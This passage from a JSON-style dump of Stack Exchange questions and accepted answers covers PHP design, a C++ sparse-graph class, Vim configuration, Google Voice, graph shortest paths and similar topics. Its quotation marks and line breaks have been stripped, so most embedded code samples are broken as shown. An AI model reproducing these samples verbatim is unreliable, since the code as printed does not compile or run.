> 0:        response = input(ENTER_ANSWER % ', '.join(optionLetters)) # For python 3        #response = raw_input(ENTER_ANSWER % ', '.join(optionLetters)) # For python 2        if response == optionLetters[correct]:            return True        else:            attempts -= 1            print TRY_AGAIN    print NO_MORE_ATTEMPTS    return Falseprint(Mathematics Quiz)# question1 and question2 will be 'True' or 'False' question1 = question('Who is president of USA?', ['myself', 'His Dad', 'His Mom', 'Barack Obama'], 3)question2 = question('Who invented Facebook?', ['Me', 'His Dad', 'Mark Zuckerberg', 'Aliens', 'Someone else'], 2)I'm not sure which python you are using. Try both line 20 or line 21 to see which works best for you. Overall this function allows you to enter in questions with as many responses as you want and it will do the rest for you.Good luck."  } 
{  "id": "_unix.57404"  , "question": "How can I perform a command on the selected items ?for example calling vim, or gimp for the 5 text or image files selected.I tried to make use of the inlined command line at the bottom, but it doesn't take my selection into account"  , "title": "Perform commands on selected items in Midnight Commander"  , "tags": "files;mc"  , "accepted_answer": "Press F2 for user menu and then choose Do something on tagged files or press @. In popup window you can provide your command.It is important to notice that for each file command will be executed separately. It will be something like:for file in files:   COMMAND filenot COMMAND file1 file2"  } 
{  "id": "_codereview.140052"  , "question": "I am updating a class in legacy code and having some issue with my calcPressure method.   I want to make it nice and clean but there is some convolution in the process.Namely the calcPressure method I have does this:computes a value from existing valueswrites that value into an in-class parameterreturns the value to the callerprints debug output while computingprepares output for View (JSON, document...innerHtml)IssuesIn general, the code is all interconnected and it works, so part of me feels why do I want to mess with it.  But part of me feels that Separation of Concerns (SOC) is super-broken.  After all, the same internal pressure parameter that originates inside PHP class goes all the way into JS view, from being computed in PHP, transferred to JS and displayed in the browser.  So if I make pressure private for example, or rename it, my view will become broken, since it depends on having the same parameter name in JS as in PHP for it to work.More specifically my method seems to do an awful lot.  I'm questioning whether I should only have it compute data and return it without assigning the in-class parameter.  Or if I should only assign the in-class parameter and not return anything.  Right now it does both.  I wonder if I should redirect debugging information to be a part of view and not be a part of the method somehow (computation/debug output separation).  Codeclass Spec{    function load()    {         $result = db_query(SELECT * from spec where id = {$this->id});         $row = db_fetch_array($result);         $this->n = $row['n'];         $this->sg = $row['sg'];         $this->q = $row['q'];    }    /**     * Computes and returns Pressure     * Outputs debug info     * Assigns internal parameter     *      * @return number     */    function calcPressure()    {        $res = abs($this->n * sqrt($this->q) / 15164.93 * $this->sg);        dump(  *** <u>Pressure</u> = $res);        $this->pressure = $res;        return $res;    }    public $pressure;    public $sg;    public $q;    public $n;    public $id;}PHP side$spec = new Spec();/* * Load of static parameters ($q, $sg, $n) from DB omitted for clarity */$spec->id = 5;$spec->load();$spec->calcPressure();$json = json_encode($spec);JS/View side<script>var x = <?=$json?>;/* * Populates HTML pages with computed pressure information */document.getElementById('pressure').innerHTML = x.pressure;</script>Dumpfunction dump($sql){print <pre>;print_r($sql);print</pre> . PHP_EOL;}"  , "title": "Compute and Display Engineering Information"  , "tags": "php;object oriented;design patterns"  } 
{  "id": "_codereview.5508"  , "question": "Algorithm that I had to write is a perfect case for while, or do..while loop, however I found out that if I will implement it with a for loop I will save few lines of code and also scope of variables will be more appropriate. Take a look at the following code:        for ( var i = 1, offset = -1; currentPosition.top === fakePosition.top && offset !== 0; i++ ) {            fakePosition.top -= i * 10;            offset = this.documentView.getOffsetFromPosition( fakePosition );            fakePosition = this.documentView.getRenderedPosition( offset );        }As you can see second parameter is very atypical as for for loops. My mine reason to switch to this loop was fact that I need iterator (i) and offset variables inside loop (and only there).What do you think about this approach?"  , "title": "What do you think about this usage of for loop in JavaScript?"  , "tags": "javascript"  , "accepted_answer": "As you can see second parameter is very atypical as for for loopsWhich is why it shouldn't be a for loop, because as you write yourself(!) [it] is a perfect case for while, or do..while loop. Saving a few lines of code and variable scope is not a good reason to obscure the code. You will (or should) be losing any perceived time/line benefit in writing the comments necessary to explain your trickery. If you want to limit variable scope, declare a new scope or function.  As @Raynos alludes to in the comments, you should avoid magic, or rather, complicated expressions in your for loops (and other conditional statements). It might not look bad to you now (though it probably will in X months), but consider what happens when your boss/client asks you to add support for a special case. Very quickly it'll look like this:    for ( var i = 1, offset = -1; currentPosition.top === fakePosition.top && offset !== 0 && currentPosition.top != -1 /* browser XYZ gives bogus answer */ && offset < fakePosition.bottom /* handle condition explained in ticket #123 */; i++ ) {        fakePosition.top -= i * 10;        offset = this.documentView.getOffsetFromPosition( fakePosition );        fakePosition = this.documentView.getRenderedPosition( offset );    }"  } 
{  "id": "_webmaster.99300"  , "question": "Google Analytics can show you which previous page brought your visitors to a page, but it can't tell you which button it was.So I set up event tracking for buttons and links, to figure out later which button was clicked.Are these button-clicks Events Without Interaction?One example in the documentation states that if you were tracking clicks on a Read More button by means of events, you would set Event without Interaction to false, since it should create a new page view (it's opening the next page).Other parts of the documentation only mention influences on the calculation of bounce rate.For my understanding that's just wrong:The Click-Event is called. This does not change anything, except for forwarding the info to AnalyticsThe browser handles the click by changing page. This will be tracked as a new page view, since the tracking code is loaded freshly.With that understanding you'd only set Event without Interaction to false if your script, not your browser, handles the page load.Or does the Event Without Interaction prevent the following page load from being tracked?"  , "title": "How track clicks on links, what does event without interaction influence"  , "tags": "google analytics;event tracking"  , "accepted_answer": "Interaction Events do influence the bounce rate.Analytics defines a bounce as someone loading your site and then leaving with 0 interactions. Consider a visitor landing on your article page, clicks the read more button and then exits the browser.If you attach a GA event to clicking the read more button and set it to be an Event without interaction = true then this would count as a bounce. If Event without interaction = false is set, then this user would not count as a bounce because he had an interaction on the site. A good example where you want to use non-interaction events are scroll depth tracking via events. That way a user coming to your site and scrolling all the way to the bottom, then leaving without a subsequent pageview it would be recorded as a bounce as GA intends it.Event without interaction has no affect on subsequent pageloads or how the browser handles anything. Loading a second page would automatically make the session a non-bounce session since loading page #2 is considered an interaction with the site."  } 
{  "id": "_softwareengineering.21467"  , "question": "I just saw this lecture by Spolsky, where he questions the need for choices and confirmation dialogs. At some point he has a MacOS settings window and he mentions that now some are getting rid of the OK button. The window indeed has no OK (or cancel) button. Changing a setting makes it change, when you're done configuring, you close that window, period.Being a long time Windows user and a recent Mac owner, the difference is noticeable at first. I looked for the OK button for a while, only to find out, quite naturally and painlessly, that there was none. I expressed satisfaction and went on my merry way.However, I'm curious to know if this UI design pattern would succeed in the Windows-based world. Granted that if Microsoft brought it out with say Windows-8 (fat chance, I know), people would get used to it eventually. But is there some experience out there of such an approach, of changing the confirmation paradigm on a platform where it's so prevalent? Did it leave users (especially the non-technical ones) confused, frustrated, scared, or happy?TL;DR: Remove OK/cancel confirmation, what happens?EDIT:Mac GUI for appearance settings."  , "title": "UI design and confirmation paradigm"  , "tags": "design;gui"  , "accepted_answer": "I find a nice middle ground is when some text is temporarily displayed (not in a pop-up) saying your change has been successfully saved or something similar to Google Doc's auto-saving"  } 
{  "id": "_softwareengineering.140574"  , "question": "HTML5 introduces a wide variety of tools such as Geolocation. Many browsers support them, but some do not yet.Should web developers rely on them to build professional applications for industry? The features are powerful, but not all browsers support these features.What are some ways (perhaps Javascript libraries?) to reliably test for browser support for HTML5 features such as Geolocation? "  , "title": "What are some ways to reliably test for browser support for HTML5 features such as Geolocation?"  , "tags": "html5"  , "accepted_answer": "Modernizr supports detection of many features in HTML5 capable browsers, including geolocation."  } 
{  "id": "_codereview.163747"  , "question": "I'm working on a SparseGraph which reflects the mathematical notion of a graph. All code included here works in all of the basic test cases that I've tried. However, I'm most concerned about the iterators (which iterate through each edge in the graph). Other concerns are style, readability, and other matters involving aesthetics. Particularly, I would like to know if the assumptions I made for the iterator classes are reasonable (for some definition of reasonable).The only file that needs to be reviewed is SparseGraph.h. I'll add some other classes (that don't necessarily need to be reviewed) which should be helpful for anyone who would like to try out the SparseGraph.Graph_Enums.h/*    Graph_Enums.h    This header contains a helpful enumeration    when working with graphs.    AldenB    May 16, 2017*/#ifndef GRAPH_ENUMS_H#define GRAPH_ENUMS_Henum{    invalid_node_index = -1};#endif // GRAPH_ENUMS_HSparseGraph.h/*    Sparse_Graph.h    A sparse graph is a minimal collection of nodes and edges to represent a graph.    This sparse graph is represented using an adjacency list.    AldenB    May 16, 2017*/#ifndef SPARSE_GRAPH_H#define SPARSE_GRAPH_H#include <iostream>#include <vector>#include <list>#include Graph_Enums.htemplate <typename NodeType, typename EdgeType>class SparseGraph{public:    class const_iterator;    class const_reverse_iterator;    using Node = NodeType;    using Edge = EdgeType;    using NodeList = std::vector<Node>;    using EdgeList = std::list<Edge>;    using AdjacencyList = std::vector<EdgeList>;private:    //NOTE: Any node with an index of invalid_node_index will be treated as a non-existent node    //no matter where it is in the node list.    //Each node index keys into its location in the NodeList    //For example, a node with an index of 3 will be at index 3    //in the NodeList. This is so we can have a O(1) lookup time    //for nodes    NodeList m_nodes;    //The AdjacencyList holds all edges associated with a node.    //For example, index 3 of the AdjacencyList holds an EdgeList    //containing all the edges connected to the node with an index    //of 3.    AdjacencyList m_adj_list;    bool edge_exists(int from, int to);public:    SparseGraph() {}    ~SparseGraph() {}    //----NODE STUFF--------------------------------------------------------    //add_node() will only add nodes that currently do not exist.    //set_node() will only change nodes that already exist    void add_node(const Node& node);    void set_node(const Node& node);    //remove_node() removes the node with the specified index.    //it will also remove all edges associated with the specified node.    void remove_node(int index);    //node access    //unchecked access    Node& operator[](int index);    const Node& operator[](int index) const;    //checked access    Node& at(int index);    const Node& at(int index) const;    //----EDGE STUFF--------------------------------------------------------    //add_edge() will only add edges that do not exist    //set_edge() will only change edges that already exist    void add_edge(const Edge& edge);    //this will actually remove both edges connected to from and to.    //i.e. Edge(from, to) and Edge(to, from)    void remove_edge(int from, int to);    //checked access    Edge& get_edge(int from, int to);    const Edge& get_edge(int from, int to) const;    //----OTHER-------------------------------------------------------------    void clear();    const_iterator begin() const;    const_iterator end() const;    const_reverse_iterator rbegin() const;    const_reverse_iterator rend() const;    template<typename Node, typename Edge>    friend std::ostream& operator<<(std::ostream& os, const SparseGraph<Node, Edge>& graph);};//----SparseGraph::const_iterator-------------------------------------------//this const_iterator is meant to iterate through every Edge in the AdjacencyList.//Note that operator++() and operator--() will skip over empty EdgeLists.//It is the user's responsibility to ensure that edge_it is not initialized to//the end of ANY EdgeList in the AdjacencyList.template <typename NodeType, typename EdgeType>class SparseGraph<NodeType, EdgeType>::const_iterator{private:    using NodeIterator = typename SparseGraph<NodeType, EdgeType>::AdjacencyList::const_iterator;    using EdgeIterator = typename SparseGraph<NodeType, EdgeType>::EdgeList::const_iterator;    NodeIterator m_node_it;    EdgeIterator m_edge_it;    const NodeIterator m_end;public:    const_iterator(NodeIterator node_it,                   EdgeIterator edge_it,                   NodeIterator end)        : m_node_it{node_it}, m_edge_it{edge_it}, m_end{end} {}    //prefix operator++()    const_iterator& operator++()    {        //move to the next element        m_edge_it++;        //if we are at the end of an EdgeList, move to the beginning of        //the next non-empty EdgeList        while(m_edge_it == m_node_it->end() && ++m_node_it != m_end) {            m_edge_it = m_node_it->begin();        }        return *this;    }    //postfix operator++()    const_iterator operator++(int)    {        auto temp = *this;        ++(*this);        return temp;    }    //prefix operator--()    const_iterator& operator--()    {        //are we at the beginning of an EdgeList?        if(m_edge_it == m_node_it->begin()) {            //move to the previous non-empty EdgeList.            while((--m_node_it)->empty()) {};            //set the edge iterator to the last element of the EdgeList.            m_edge_it = --(m_node_it->rbegin().base());        }        //we are not at the beginning of an EdgeList        else {            m_edge_it--;        }        return *this;    }    //postfix operator--()    const_iterator operator--(int)    {        const_iterator temp = *this;        --(*this);        return temp;    }    //----operator*()    const typename SparseGraph<NodeType, EdgeType>::Edge& operator*() const    {        return *m_edge_it;    }    //operator->()    const typename SparseGraph<NodeType, EdgeType>::Edge* operator->() const    {        return &(*m_edge_it);    }    //----operator==()    bool operator==(const const_iterator& other) const    {        return m_node_it == other.m_node_it &&               m_edge_it == other.m_edge_it;    }    //----operator!=()    bool operator!=(const const_iterator& other) const    {        return !(*this == other);    }};//----SparseGraph::reverse_const_iterator-----------------------------------//the reverse_const_iterator should work semantically and holds the same assumptions as the const_iteratortemplate <typename NodeType, typename EdgeType>class SparseGraph<NodeType, EdgeType>::const_reverse_iterator{private:    using RNodeIterator = typename SparseGraph<NodeType, EdgeType>::AdjacencyList::const_reverse_iterator;    using REdgeIterator = typename SparseGraph<NodeType, EdgeType>::EdgeList::const_reverse_iterator;    RNodeIterator m_rnode_it;    REdgeIterator m_redge_it;    const RNodeIterator m_rend;public:    const_reverse_iterator(RNodeIterator rnode_it,                   REdgeIterator redge_it,                   RNodeIterator rend)        : m_rnode_it{rnode_it}, m_redge_it{redge_it}, m_rend{rend} {}    //prefix operator++()    const_reverse_iterator& operator++()    {        //move to the previous element        m_redge_it++;        //if we are past the beginning of an EdgeList, move to the last element of        //the previous non-empty EdgeList        while(m_redge_it == m_rnode_it->rend() && ++m_rnode_it != m_rend) {            m_redge_it = m_rnode_it->rbegin();        }        return *this;    }    //postfix operator++()    const_reverse_iterator operator++(int)    {        auto temp = *this;        ++(*this);        return temp;    }    //prefix operator--()    const_reverse_iterator& operator--()    {        //are we at the last element of an EdgeList?        if(m_redge_it == m_rnode_it->rbegin()) {            //move to the next non-empty EdgeList.            while((--m_rnode_it)->empty()) {};            //set the reverse edge iterator to the first element of the EdgeList.            m_redge_it = m_rnode_it->begin();        }        //we are not at the last element of an EdgeList        else {            m_redge_it--;        }        return *this;    }    //postfix operator--()    const_reverse_iterator operator--(int)    {        const_reverse_iterator temp = *this;        --(*this);        return temp;    }    //----operator*()    const typename SparseGraph<NodeType, EdgeType>::Edge& operator*() const    {        return *m_redge_it;    }    //operator->()    const typename SparseGraph<NodeType, EdgeType>::Edge* operator->() const    {        return &(*m_redge_it);    }    //----operator==()    bool operator==(const const_reverse_iterator& other) const    {        return m_rnode_it == other.m_rnode_it &&               m_redge_it == other.m_redge_it;    }    //----operator!=()    bool operator!=(const const_reverse_iterator& other) const    {        return !(*this == other);    }};//----SPARSE_GRAPH----------------------------------------------------------//----PRIVATE FUNCTIONS-----------------------------------------------------template <typename NodeType, typename EdgeType>bool SparseGraph<NodeType, EdgeType>::edge_exists(int from, int to){    //assume that from is within the bounds of the AdjacencyList    for(const Edge& e : m_adj_list[from]) {        if(e.to() == to) {            return true;        }    }    return false;}//----PUBLIC FUNCTIONS------------------------------------------------------//----add_node()template <typename NodeType, typename EdgeType>void SparseGraph<NodeType, EdgeType>::add_node(const NodeType& node){    //range check    if(node.index() < 0) {        throw std::runtime_error{SparseGraph::add_node(): Bad node index.};    }    //Don't overwrite an existing node unless it's invalid.    if(node.index() < m_nodes.size()) {        if(m_nodes[node.index()].index() == invalid_node_index) {            m_nodes[node.index()] = node;            return;        }        throw std::runtime_error{SparseGraph::add_node(): Node already exists.};    }    //add an empty EdgeList for each node.    while(m_nodes.size() < node.index()) {        m_adj_list.push_back(EdgeList());        m_nodes.push_back(NodeType(invalid_node_index));    }    m_adj_list.push_back(EdgeList());    m_nodes.push_back(node);}//----set_node()template <typename NodeType, typename EdgeType>void SparseGraph<NodeType, EdgeType>::set_node(const NodeType& node){    //range and validity check; we can only set to valid nodes.    if(node.index() < 0 || node.index() >= m_nodes.size() ||       m_nodes[node.index()].index() == invalid_node_index) {        throw std::runtime_error{SparseGraph::set_node(): Set to non-existent node.};    }    m_nodes[node.index()] = node;}//----remove_node()template <typename NodeType, typename EdgeType>void SparseGraph<NodeType, EdgeType>::remove_node(int index){    //range check    if(index < 0 || index >= m_nodes.size()) {        throw std::runtime_error{SparseGraph::remove_node(): Node index out of bounds.};    }    //validity check    if(m_nodes[index].index() == invalid_node_index) {        throw std::runtime_error{SparseGraph::remove_node(): Node does not exist.};    }    m_nodes[index].set_index(invalid_node_index);    //look through every EdgeList in the AdjacencyList    //and remove any Edge that is connected to this node.    for(int i = 0; i < m_adj_list.size(); ++i) {        for(auto it = m_adj_list[i].begin(); it != m_adj_list[i].end(); ++it) {            if(it->from() == index || it->to() == index) {                it = m_adj_list[i].erase(it);                --it;            }        }    }}//----operator[]()template <typename NodeType, typename EdgeType>NodeType& SparseGraph<NodeType, EdgeType>::operator[](int index){    return m_nodes[index];}//----operator[]() consttemplate <typename NodeType, typename EdgeType>const NodeType& SparseGraph<NodeType, EdgeType>::operator[](int index) const{    return m_nodes[index];}//----at()template <typename NodeType, typename EdgeType>NodeType& SparseGraph<NodeType, EdgeType>::at(int index){    //range check    if(index < 0 || index >= m_nodes.size()) {        throw std::runtime_error{SparseGraph::at(): Index out of bounds.};    }    return m_nodes[index];}//----at() consttemplate <typename NodeType, typename EdgeType>const NodeType& SparseGraph<NodeType, EdgeType>::at(int index) const{    //range check    if(index < 0 || index >= m_nodes.size()) {        throw std::runtime_error{SparseGraph::at(): Index out of bounds.};    }    return m_nodes[index];}//----add_edge()template <typename NodeType, typename EdgeType>void SparseGraph<NodeType, EdgeType>::add_edge(const Edge& edge){    //range check    if(edge.from() < 0 || edge.from() >= m_adj_list.size() ||       edge.to() < 0 || edge.to() >= m_adj_list.size()) {        throw std::runtime_error{SparseGraph::add_edge(): Edge index out of bounds.};    }    //existence check    if(edge_exists(edge.from(), edge.to())) {        throw std::runtime_error{SparseGraph::add_edge(): Edge already exists.};    }    //make sure the Edge is added for both directions    Edge reverse_edge = edge;    reverse_edge.set_from(edge.to());    reverse_edge.set_to(edge.from());    m_adj_list[edge.from()].push_back(edge);    m_adj_list[reverse_edge.from()].push_back(reverse_edge);}//----remove_edge()template <typename NodeType, typename EdgeType>void SparseGraph<NodeType, EdgeType>::remove_edge(int from, int to){    //range check    if(from < 0 || from >= m_adj_list.size() ||       to < 0 || to >= m_adj_list.size()) {        throw std::runtime_error{SparseGraph::remove_edge(): Edge index out of bounds.};    }    //look for the Edge in its EdgeList and remove it if it's there.    for(auto it = m_adj_list[from].begin(); it != m_adj_list[from].end(); ++it) {        if(it->to() == to) {            m_adj_list[from].erase(it);            //also erase the Edge coming from the opposite direction            for(auto opp_it = m_adj_list[to].begin(); opp_it != m_adj_list[to].end(); ++opp_it) {                if(opp_it->to() == from) {                    m_adj_list[to].erase(opp_it);                }            }            return;        }    }    throw std::runtime_error{SparseGraph::remove_edge(): Edge does not exist.};}//----get_edge()template <typename NodeType, typename EdgeType>EdgeType& SparseGraph<NodeType, EdgeType>::get_edge(int from, int to){    //range check    if(from < 0 || from >= m_adj_list.size() ||       to < 0 || to >= m_adj_list.size()) {        throw std::runtime_error{SparseGraph::get_edge(): Edge does not exist.};    }    //search for the Edge in its EdgeList.    for(EdgeType& e : m_adj_list[from]) {        if(e.from() == from && e.to() == to) {            return e;        }    }}//----get_edge() consttemplate <typename NodeType, typename EdgeType>const EdgeType& SparseGraph<NodeType, EdgeType>::get_edge(int from, int to) const{    //range check    if(from < 0 || from >= m_adj_list.size() ||       to < 0 || to >= m_adj_list.size()) {        throw std::runtime_error{SparseGraph::get_edge(): Edge does not exist.};    }    //try to find the Edge in its EdgeList    for(const EdgeType& e : m_adj_list[from]) {        if(e.from() == from && e.to() == to) {            return e;        }    }}//----clear()template <typename NodeType, typename EdgeType>void SparseGraph<NodeType, EdgeType>::clear(){    m_nodes.clear();    m_adj_list.clear();}//----begin()template <typename NodeType, typename EdgeType>typename SparseGraph<NodeType, EdgeType>::const_iterator SparseGraph<NodeType, EdgeType>::begin() const{    //Move to the first non-empty EdgeList in the AdjacencyList    typename AdjacencyList::const_iterator begin_it = m_adj_list.begin();    while(begin_it != m_adj_list.end() && begin_it->empty()) {        begin_it++;    }    return SparseGraph<NodeType, EdgeType>::const_iterator(begin_it, begin_it->begin(), m_adj_list.end());}//----end()template <typename NodeType, typename EdgeType>typename SparseGraph<NodeType, EdgeType>::const_iterator SparseGraph<NodeType, EdgeType>::end() const{    return SparseGraph<NodeType, EdgeType>::const_iterator(m_adj_list.end(), m_adj_list.back().end(), m_adj_list.end());}//----rbegin()template <typename NodeType, typename EdgeType>typename SparseGraph<NodeType, EdgeType>::const_reverse_iterator SparseGraph<NodeType, EdgeType>::rbegin() const{    typename AdjacencyList::const_reverse_iterator rbegin_it = m_adj_list.rbegin();    while(rbegin_it != m_adj_list.rend() && rbegin_it->empty()) {        rbegin_it++;    }    return SparseGraph<NodeType, EdgeType>::const_reverse_iterator(rbegin_it, rbegin_it->rbegin(), m_adj_list.rend());}//----rend()template <typename NodeType, typename EdgeType>typename SparseGraph<NodeType, EdgeType>::const_reverse_iterator SparseGraph<NodeType, EdgeType>::rend() const{    return SparseGraph<NodeType, EdgeType>::const_reverse_iterator(m_adj_list.rend(), m_adj_list.front().rend(), m_adj_list.rend());}//----operator<<()template <typename NodeType, typename EdgeType>std::ostream& operator<<(std::ostream& os, const SparseGraph<NodeType, EdgeType>& graph){    if(graph.m_adj_list.size() == 0) {        return os << <empty>;    }    for(unsigned int i = 0; i < graph.m_adj_list.size(); ++i) {        os << i;        if(graph.m_nodes[i].index() == invalid_node_index) {            os <<  (invalid);        }        os << :;        for(const EdgeType& e : graph.m_adj_list[i]) {            os <<   << e.to();        }        //don't add a newline to the last line        if(i < graph.m_adj_list.size()-1) {            os << '\\n';        }    }    return os;}#endif // SPARSE_GRAPH_HGraph_Node/*    Graph_Node.h    A graph node is exactly what you'd expect:    a node on a graph.    AldenB    May 16, 2017*/#ifndef GRAPH_NODE_H#define GRAPH_NODE_H#include Graph_Enums.hclass GraphNode{public:    GraphNode()        : m_index{invalid_node_index} {}    explicit GraphNode(int index)        : m_index{index} {}    virtual ~GraphNode() {}    int index() const {return m_index;}    void set_index(int index) {m_index = index;}    bool operator==(const GraphNode& other)    {        return index() == other.index();    }    bool operator!=(const GraphNode& other)    {        return !(*this == other);    }private:    int m_index;};std::ostream& operator<<(std::ostream& os, const GraphNode& node){    return os << ( << node.index() << );}#endif // GRAPH_NODE_HGraph_Edge.h/*    Graph_Edge.h    A graph edge represents a unidirectional connection    between two nodes on a graph.    Alden Bernitt    May 16, 2017*/#ifndef GRAPH_EDGE_H#define GRAPH_EDGE_H#include Graph_Enums.hclass GraphEdge{public:    GraphEdge()        : m_from{invalid_node_index}, m_to{invalid_node_index} {}    GraphEdge(int from, int to)        : m_from{from}, m_to{to} {}    virtual ~GraphEdge() {}    int from() const {return m_from;}    int to() const {return m_to;}    void set_from(int from) {m_from = from;}    void set_to(int to) {m_to = to;}    bool operator==(const GraphEdge& other)    {        return from() == other.from() &&               to() == other.to();    }    bool operator!=(const GraphEdge& other)    {        return !(*this == other);    }private:    //a node can be minimally represented by its index.    int m_from;    int m_to;};std::ostream& operator<<(std::ostream& os, const GraphEdge& edge){    return os << ( << edge.from() << , << edge.to() << );}#endif // GRAPH_EDGE_H"  , "title": "SparseGraph: A representation of a mathematical graph"  , "tags": "c++;graph;template;iterator"  } 
{  "id": "_webapps.40511"  , "question": "I setup my Google Voice number to forward to my AT&T cell phone number. There are two features of the forwarding behavior I'm not very fond of:  When someone calls, they get a recorded voice asking for theirname.  People tend to assume this is voicemail, and not realize thatmy phone is ringing, and after they follow the instructions I willbe picking up.When I pick up the phone, it tells me the name of the personcalling and asks whether I'd like to answer the call or send it tovoice mail (I'd rather it simply assume I'd like to answer so Ididn't have to wait or bother with the keypad).I don't think its relevant, but I'm using an iPhone 4.  Is there anyway to setup Google Voice call forwarding which avoids either of these two issues?"  , "title": "How can I customize Google Voice behavior when forwarding calls?"  , "tags": "google voice;iphone"  , "accepted_answer": "In Google Voice, go to Settings | Calls and turn off Call Screening.Callers will no longer be asked to say their name, nor will you be prompted to press 1 to accept the call.More information at Google Support."  } 
{  "id": "_codereview.43490"  , "question": "import java.math.BigInteger;import java.util.Random;public class Primetest {    private static int size=15;    private static Random r=new Random();    private static BigInteger two=new BigInteger(2);    private static BigInteger three=new BigInteger(3);    public static void main(String[] args) {        while(true)        {            BigInteger p=new BigInteger(size,r);            if(isprime(p)==true)            {                System.out.println(prime=+p);                break;            }        }    }       public static boolean isprime(BigInteger n)        {             if(n.compareTo(BigInteger.ONE)==0 || n.compareTo(two)==0)            {                return true;            }          BigInteger half=n.divide(two);           for(BigInteger i=three; i.compareTo(half)<=0;i=i.add(two))            {                if(n.mod(i).equals(BigInteger.ZERO))                {                  return false;                 }            }             return true;        } }This code selects a random prime BigInteger number. I want a 2048 bit BigInteger prime number, but it only works with 15 bit. Can anybody help me?"  , "title": "BigInteger prime testing"  , "tags": "java;primes;random"  } 
{  "id": "_webapps.37950"  , "question": "When I create a new GitHub Issue, I can assign a user. Then both myself and this user will then become participants in the Issue and receive updates. I sometimes want other users to also receive notifications on the ticket even if they are not the current assignee. How can I add other users to the Issue at the time of Issue creation?"  , "title": "How can I copy in or include other GitHub users to an issue?"  , "tags": "github"  , "accepted_answer": "You just need to include their username in the issue.When you @mention a GitHub username anywhere in the context of an issue or pull request, that person is notified and subscribed to future updates.So if you wanted a GitHub user by the username, tornadosandwich, to be notified that you want them to see the issue, just put @tornadosandwich in the body of the issue and it will notify them.Would like to know what @tornadosandwich thinks about this.This will only work if the user has allowed it. If they never respond or acknowledge being included they may have unchecked both boxes in their account settings under the Notification Center:Participating  When you participate in a discussion or someone brings you in with an @mention."  } 
{  "id": "_softwareengineering.94969"  , "question": "I am into programming since last 3 years. But I seems to be lost in it. I am not able to get good at it even though I code everyday.suppose I solve one problem, I will wander from solution to solution and implement some other solution. I cant focus much. I get many defects for the code I write. I afraid of code I dont know why if I dont finish it on time my boss will fire me etc. I enjoy coding but not all the time. How to increase patience?I always wonder how do I become the best coder like many exceptional programmers. I know this sounds subjective but I think this will help programmer community to get good at it especially for average like me or beginner programmers."  , "title": "Techniques to increase logic at programming"  , "tags": "logic"  , "accepted_answer": "I personally would suggest begin with smaller hurdles; try taking on coding in smaller chunks and get more in to the intermediate victories. It sounds like you either get overwhelmed or bored if something lasts too long or doesn't show progress. I can say definitively I've been in the same boat.Think of it like tackling a sandwich: You don't eat the entire thing in one bite, you break it down. Do the same thing with your projects, tasks, etc. Depending on what level you're at, you may want to ask your supervisor/manager to break it down for you. If you're responsible for your own work load, set little finish lines for yourself that are accomplish-able (don't set a goal you'll never reach, this just makes you more discouraged and puts you in an undesirable position). i.e. By noon I want to have this class defined, By 2 I want this interface implemented, etc.My company is notorious for beginning and ramping up for a project, allowing me to get to the 90% mark, then slipping the rug out from underneath me to move on to the next big thing. I start getting discouraged that I never get anything done, and gets me in a funk (if you will). Finally I pushed back and told them I wasn't moving on until I finish what I was nearly completed on. This did wonders for my esteem, moral, and energy (though I can't say the same about my employers :shrug:)"  } 
{  "id": "_unix.21267"  , "question": "Is there a command or plugin that I can use to show all the lines I have edited in a Vim session? I would like to be able to have all the changes I have made highlighted when working in co-workers projects and lost in lines of code."  , "title": "VIM: show all lines edited in session"  , "tags": "vim"  , "accepted_answer": "The changesPlugin seems to work just fine for this type of thing.http://www.vim.org/scripts/script.php?script_id=3052Once installed, just run :EC after making changes to a file."  } 
{  "id": "_cstheory.16593"  , "question": "I'm developing a route planner, and I was reading some graph theory.I read a little bit of Dijkstra's shortest path, shooting star and turn restrictions, and I tend to think that this algorithms are thought to be used for searching a short path between two nodes, node A and node B (or in some variant, edge A and edge B).I was wondering if it's a variant of some shortest path algorithm to find the shortest path between two set of nodes. I could define this problem better like this:Input:GraphList of initial nodesList of end nodesOutput:Node ANode BShortest pathI can think of a trivial solution: Take each of the 'initial nodes' apply dijkstra against each of the 'final nodes', select the minimal path from all returned paths, but I'm trying to find if exists some algorithm to solve this task."  , "title": "Algorithm to find shortest path from a set of nodes to another set of nodes?"  , "tags": "graph theory;graph algorithms"  , "accepted_answer": "Create a new node $s$ and connect it to every node in the first list.Create a new node $t$ and connect it to every node in the second list.Find a shortest path between $s$ and $t$."  } 
{  "id": "_vi.8311"  , "question": "According to :h compatible:(...) when a |vimrc| or |gvimrc| file exists,  Vim will use the Vim defaults, otherwise it will use the Vi defaults.But when I try:$ mv ~/.vimrc vimrc$ vim -c 'set cp?'Vim tells me:nocompatibleIf I force it by:$ vim -u NONE -c 'set cp?'Vim correctly answers me withcompatibleI'm confident I have no ~/.gvimrc, what could cause this vim behaviour?"  , "title": "Removed my vimrc but vim still starts in nocp mode"  , "tags": "vimrc"  , "accepted_answer": "Thanks to DJ McMayhem pointing me in the right direction I found that Linux distros meddle with the nocompatible behaviour of vim.  Since I cannot expect that everyone here know unix jargon, where I use $ I'm working as a normal user and where I use # i do commands as the superuser (root).1. Vim ignores /etc/vimrc for the purpose of setting nocompatibleWith :scriptnames I found vim loads the /etc/vimrc script.  I then removed both vimrc scripts and tested:$ mv ~/.vimrc ~/vimrc.bak# mv /etc/vimrc /etc/vimrc.bak$ vim -c 'set cp?'And gotcompatibleThat is what we expected, but I tested further.  I have created a /etc/vimrc containing set ff=unix (completely unrelated from nocp) and checked:# echo set ff=unix > /etc/vimrc$ vim -c 'set cp?'And surprisingly I got:compatibleMoreover :scriptnames clearly indicated:1: /etc/vimrcAdding a ~/.vimrc on the other hand triggers nocompatible correctly:$ echo set ff=unix > ~/.vimrc$ vim -c 'set cp?'nocompatibleVim did not understood the existence of /etc/vimrc as a vimrc file for the purpose of setting nocompatible, but it did understood the existence of ~/.vimrc.  In unix philosophy that is correct, since it is a multi-user system by default the existence of a global configuration file shall never make a difference for a user.2. /etc/vimrc is created by the package manager on *nix systemsThe suspicion about the strange behaviour I got in the question falls on the contents of the original /etc/vimrc file (currently backed up as /etc/vimrc.bak).  Looking through it I found this line:runtime! archlinux.vimI'm running vim on archlinux therefore it makes some sense.  I found the file at /usr/share/vim/vimfiles/archlinux.vim and it does contain:set nocompatibleas the first non-comment line!  That explains it all.ConclusionI then checked on a centos and a debian machines.  It turns out that in one way or another (by using runtime or directly in /etc/vimrc) they all perform:set nocompatibleexplicitly, inside the configuration that is maintained by the package manager (yum, apt, pacman).  That is bad practice!Moral of the story:  Your Linux distro is likely meddling in the global vim configuration files.  Be sure to check these files before arguing about strange behaviour 